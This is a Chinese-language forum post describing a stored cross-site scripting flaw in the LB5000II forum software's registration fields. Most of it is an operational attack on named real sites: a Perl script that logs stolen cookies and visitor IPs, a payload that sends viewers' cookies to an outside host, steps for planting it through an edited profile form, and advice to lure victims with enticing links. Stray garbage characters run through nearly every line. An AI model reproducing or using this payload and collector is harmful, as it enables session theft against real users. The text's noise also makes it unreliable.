漏洞描述: 7 b, N) o4 C3 X5 b, e
LB5000II是国内流行的CGI程序之一,是在Ikonboard的基础之上改进的,目前最新 ; |( c1 m2 ~) b* R# g
版本是LB5000II v20317b,可以http://www.leoboard.com下载。
E# c8 y! s9 B/ C, a 其注册模块未过滤用户资料 最高学历:职业状况:等注册信息
7 u) t0 O$ }; Y, W8 U导致恶意用户可以通过伪造<s cript>alert(documents.cookie)</s cript>
0 B9 N* C: e$ G( G进行攻击,进一步可以通过某中方式收集。测试通过
9 ]3 t$ M2 [2 d4 \& [- r测试程序:
4 v! E+ Z" \5 r+ I+ | 参考漏洞描述。
/ y6 ^8 q% y+ P解决方案: " G2 a/ e6 [6 h ?6 b
对用户提交的资料进行过滤
1 f! G+ C9 s$ K7 o! K ' z6 E, q& l3 ?/ k) i5 b# l
9 D) T, n! m5 {! P; H& ]
请在s8s8论坛访问
, e9 w$ k0 x1 X. J. w5 D4 X6 ihttp://www.leothreads.com/cgi-bin/profile.cgi?action=show&member=大刀队
6 w: b* D0 F& [) Q+ l那么你在s8s8.net 的cookie将被我所获取. j) J+ q: ~; m) W7 q v
#!/usr/bin/perl
3 Y1 E4 K# S! k$ \9 \: h#leo.cgi
0 N5 }! J2 I* {' i) l0 X- a$ |; \+ l$url="http://www.s8s8.net";; * t9 J; N, m! [, v7 _7 g. V
$method=$ENV{"REQUEST_METHOD"};
" }/ `. D0 W6 Z; P# uif(lc($method) eq "get"){$buffer=$ENV{"QUERY_STRING"};}
" w3 L/ C% ?3 t( q" \3 [else{read(STDIN,$buffer,length($ENV{"CONTENT_LENGTH"}));} 8 D2 t/ O. o" U
$remote_addr=$ENV{"REMOTE_ADDR"};
6 u2 t7 s L# ?7 q+ E5 m$buffer=~tr/+/ /;
$ v2 ^2 I* H( C1 w2 G$buffer=~s/%([\dA-Fa-f0-9][\dA-Fa-f0-9])/pack("C",hex($1))/eg;
6 m6 r* f% ]( @* F1 h$buffer=$buffer."|$remote_addr\n"; 3 H% d6 _% E& _% `4 o
open(FILE,">>leo.txt");
% f J) |$ L8 ^2 ^5 \8 {5 oprint FILE $buffer; # h! t1 V! X* T! I2 g+ L% Q
close(FILE); 7 _' S q6 r' u5 T
print "Location:$url\n\n";
# U& o, ?$ R' w" u上面是我的cookie收集脚本 . _: B c) i, l( h+ m: @
------------------------------------------------------------------------------ 1 u: X1 H }) u& p
范例:以s8s8为例,感谢好友狩猎者 shocknet 帮助测试 , }6 R) x- }# [$ v2 d) s& X& D
用大刀队登陆s8s8论坛,编辑个人资料,
) R6 E- l: R& v7 u用记事本打开编辑网页 3 ?- \+ `. d6 k4 w
<option value="中专">中专</option> 这一项改成 4 P4 Z; A; Z: I G8 y5 S
<option value="<s cript>window.open('http://enter.3322.net/cgi-bin/info/leo.cgi?'+documents.cookie)</s cript>">中专</option>
& B# ^* y! g. g9 X, S7 L5 W: X1 S. ^$ q7 W4 L6 i4 L: v: u
编辑<FORM action="profile.cgi" method=post name="creator" enctype="multipart/FORM-data"> 6 q' q( _5 |+ z
改为 * z% F- I) e$ O) s& v
<FORM action="http://www.leothreads.com/cgi-bin/profile.cgi"; method=post name="creator" enctype="multipart/FORM-data">
* {" p) N2 C- u; j0 v8 f保存编辑的网页,用自己的页登陆,选“中专”一项,提交数据, " [, Y6 |0 M' D7 W
这样以后只要查看大刀队的资料的用户,那么查看者的cookie资料将被截获。
6 e6 S4 k; }/ \- i, i: l+ @+ N为了伪装的更好,可以在论坛发具有诱惑力的帖子连接,吸引人家去点击,
# U& [+ |- H* O什么算诱惑力呢,自己发挥吧。8 A5 V" v* W% w2 Y" M: T! M# S# T
|